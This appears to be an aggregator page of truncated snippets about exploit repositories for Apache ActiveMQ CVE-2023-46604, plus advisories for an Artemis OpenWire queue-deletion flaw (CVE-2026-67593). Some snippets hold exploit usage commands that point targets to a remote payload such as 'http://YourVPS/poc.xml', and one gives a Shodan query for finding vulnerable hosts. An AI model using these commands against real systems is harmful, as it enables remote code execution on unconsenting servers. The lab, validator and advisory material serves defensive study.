CVE-2023-46604-ActiveMQ-RCE-pseudoshell

CVE-2023-46604 RCE псевдооболочка Этот скрипт использует CVE-2023046604 Apache ActiveMQ для создания псевдооболочки. Уязвимость позволяет выполнять удалённый код из-за небезопасной десериализации в протоколе OpenWire. Описание CVE-2023-46604 — это уязвимость десериализации, существующая в протоко...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Ссылка на проект Данный проект — это exp на python, переписанный на основе exp из проекта https://github.com/X1r0z/ActiveMQ-RCE. Использование python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 Параметр -p по умолчанию равен стандартному порту activeMQ. Обратите...

ExploitScript-CVE-2023-46604

ExploitScript-CVE-2023-46604 Отказ от ответственности Этот репозиторий содержит код доказательства концепции proof-of-concept для CVE-2023-466064 и предназначен строго для образовательных целей. Авторы и участники не поддерживают никакую незаконную деятельность. Информация представлена здесь для...

CVE-2023-46604

CVE-2023-46604 Этот репозиторий содержит скрипт эксплойта и файл XML в качестве подтверждения концепции PoC для уязвимости CVE-2023-46604, затрагивающей Apache ActiveMQ. Уязвимость позволяет удалённо выполнять код из-за небезопасной десериализации в протоколе OpenWire. Описание CVE-2023-46604 — э...

ActiveMQ-CVE-2023-46604

CVE-2023-46604 ActiveMQ Safe Validator Однофайловый, неразрушающий валидатор для Apache ActiveMQ CVE-2023-46604. Он запускает собственный HTTP-сервер обратного вызова, генерирует в памяти Spring XML, специфичный для каждой цели, отправляет сформированный OpenWire-пакет, сопоставляет обратные вызо...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ и OpenWire 1 Обзор Apache ActiveMQ и OpenWire ActiveMQ — это брокер, поддерживающий JMS и позволяющий осуществлять связь между системами, использующими не только Java, но и различные другие языки. Кроме того, это сервер с открытым исходным кодом для обмена...

CVE-2023-46604

CVE-2023-46604 Эксплойт для CVE-2023-46604 Этот инструмент помогает эксплуатировать эту уязвимость. Shodan-запрос для поиска цели: product:"ActiveMQ" port:"61616" Использование инструмента: for read targets from the file: python3 exploit.py -f targets -c http://YourVPS/poc.xml --- single target:...

OpenWire-CVE-2023-46604-Investigation

OpenWire-CVE-2023-46604-Расследование OpenWire Лаборатория Во время моей смены в качестве аналитика Центра безопасности операций SOC второго уровня я получил эскалацию от аналитика первого уровня относительно общедоступного сервера, который, как было замечено, взаимодействовал с несколькими...

CVE-2023-46604

Техническое описание атаки: CVE-2023-46604 Скрипт эксплуатирует уязвимость небезопасной десериализации в Apache ActiveMQ CVE-2023-46604 для достижения удаленного выполнения кода на целевом сервере. Описание процесса эксплуатации Цель уязвимости: Уязвимость находится в протоколе OpenWire Apache...

CVE-2023-46604-LAB

CVE-2023-46604 – Apache ActiveMQ RCE протокол OpenWire Этот репозиторий описывает лабораторную среду, используемую для изучения и обнаружения уязвимости CVE-2023-46604, затрагивающей Apache ActiveMQ. Цель этого проекта: Понять, как эксплойт ведёт себя на уровне протокола Захватить вредоносный...

artemis-openwire-protocol: AMQ Broker Artemis: pre-authentication arbitrary durable queue deletion via OpenWire RemoveSubscriptionInfo

An unauthenticated network attacker can delete arbitrary durable queues on any Apache Artemis broker with OpenWire protocol enabled default. The processRemoveSubscription method executes pre-authentication with no authorization check, and uses the internal destroyQueueSimpleString overload that...

artemis-openwire-protocol: AMQ Broker Artemis: pre-authentication arbitrary durable queue deletion via OpenWire RemoveSubscriptionInfo

An unauthenticated network attacker can delete arbitrary durable queues on any Apache Artemis broker with OpenWire protocol enabled default. The processRemoveSubscription method executes pre-authentication with no authorization check, and uses the internal destroyQueueSimpleString overload that...

Missing Authentication for Critical Function

Overview Affected versions of this package are vulnerable to Missing Authentication for Critical Function via the Openwire RemoveSubscriptionInfo command in the protocol handling. An attacker can trigger unauthorized deletion of a queue by sending a crafted command before authentication and...

Missing Authentication for Critical Function

Overview org.apache.artemis:artemis-jakarta-openwire-protocol is a To support OpenWire clients from an embedded broker deployed in a Jakarta environment e.g. Spring Boot 3 Affected versions of this package are vulnerable to Missing Authentication for Critical Function via the Openwire...

Missing Authentication for Critical Function

Overview org.apache.activemq:artemis-openwire-protocol is a package for activemq. Affected versions of this package are vulnerable to Missing Authentication for Critical Function via the Openwire RemoveSubscriptionInfo command in the protocol handling. An attacker can trigger unauthorized deletio...

Missing Authentication for Critical Function

Overview Affected versions of this package are vulnerable to Missing Authentication for Critical Function via the Openwire RemoveSubscriptionInfo command in the protocol handling. An attacker can trigger unauthorized deletion of a queue by sending a crafted command before authentication and...

CVE-2026-67593

A remote attacker can craft an Openwire RemoveSubscriptionInfo command to cause the deletion of a queue on the Artemis broker before the connection authentication and authorization stage or at any time thereafter. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ...

CVE-2026-67593

An unauthenticated network attacker can delete arbitrary durable queues on an Apache Artemis broker (or Apache ActiveMQ Artemis ) with the OpenWire protocol enabled. The vulnerability exists because the processRemoveSubscription() method executes pre-authentication without authorization checks, u...

CVE-2026-67593 Apache Artemis, Apache Artemis, Apache ActiveMQ Artemis, Apache ActiveMQ Artemis: Pre-authentication Openwire protocol handling can result in queue deletion

A remote attacker can craft an Openwire RemoveSubscriptionInfo command to cause the deletion of a queue on the Artemis broker before the connection authentication and authorization stage or at any time thereafter. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ...

EUVD-2026-75245

A remote attacker can craft an Openwire RemoveSubscriptionInfo command to cause the deletion of a queue on the Artemis broker before the connection authentication and authorization stage or at any time thereafter. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ...